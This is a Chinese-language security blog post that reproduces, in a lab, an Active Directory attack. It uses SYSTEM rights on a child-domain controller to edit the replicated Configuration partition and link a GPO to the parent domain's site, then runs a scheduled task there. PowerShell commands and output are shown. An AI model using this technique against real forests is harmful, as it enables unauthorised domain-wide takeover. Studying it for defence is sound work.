当前位置: 首页 > 技术干货 > 利用子域的System权限通往父域

利用子域的System权限通往父域

发表于:2024-08-23 16:59 作者: Jumbo 阅读数(3840人)

前言

最近翻阅笔记发现一篇文章提到通过子域的System权限可以突破获取到父域权限,本文将对此技术进行尝试复现研究。

利用分析

环境信息:

子域:187、sub.cs.org
父域:197、cs.org

首先通过在子域的域控机器上打开mmc.exe->连接ADSI->配置来查看子域的配置命名上下文:

从配置中可以看到配置命名上下文的域名实际上是父域cs.org,因此判断子域中看到的信息可能是父域的副本:

继续查看配置对象的安全描述符中的ACL,发现子域没有权限去变更:

但是可以看到除了域用户、域管用户以外,还有一个特权ACL条目叫SYSTEM,该条目拥有完全控制权限:

SYSTEM属于一个特殊用户,不属于域内用户,因此理论上只要能做到是SYSTEM权限就能控制对象条目而不用关注是不是域内管理员。因此尝试使用SYSTEM权限继续打开配置命名上下文:

可以看到当子域拥有了SYSTEM权限后就可以修改来自父域副本的配置对象:

利用方式

既然可以控制父域的配置命名上下文,那如何利用呢?网上提到有几种方式,一种是通过GPO、还有的是提到给父域添加一个自己可控的证书模板(ESC1),这里以GPO组策略为例。先在子域域控上创建一个GPO:

New-GPO jumbo_gpo_test

设置计划任务:

通过SYSTEM权限把子域的GPO link到父域:

PS C:\Windows\system32> Get-ADDomainController -Server cs.org | select HostNane, ServerObjectDN

HostNane ServerObjectDN
-------- --------------
{}       CN=10_4_45_197,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=cs,DC=org
PS C:\Windows\system32> New-GPLink -Name "jumbo_gpo_test" -Target "CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=cs,DC=org" -Server sub.cs.org


GpoId       : 76606696-cd03-4349-b0f2-0a45bdf305d4
DisplayName : jumbo_gpo_test
Enabled     : True
Enforced   : False
Target     : CN=Default-First-Site-Name,cn=Sites,CN=Configuration,DC=cs,DC=org
Order       : 1

父域刷新组策略可以看到子域链接过来的GPO:

父域更新组策略成功执行计划任务notepad.exe:

gpupdate /force

刷新组策略后通过gpresult /r命名也可以看到添加的GPO:

总结

本文介绍了除SidHistory以外还可以通过子域的System权限进行突破到父域的攻击手法。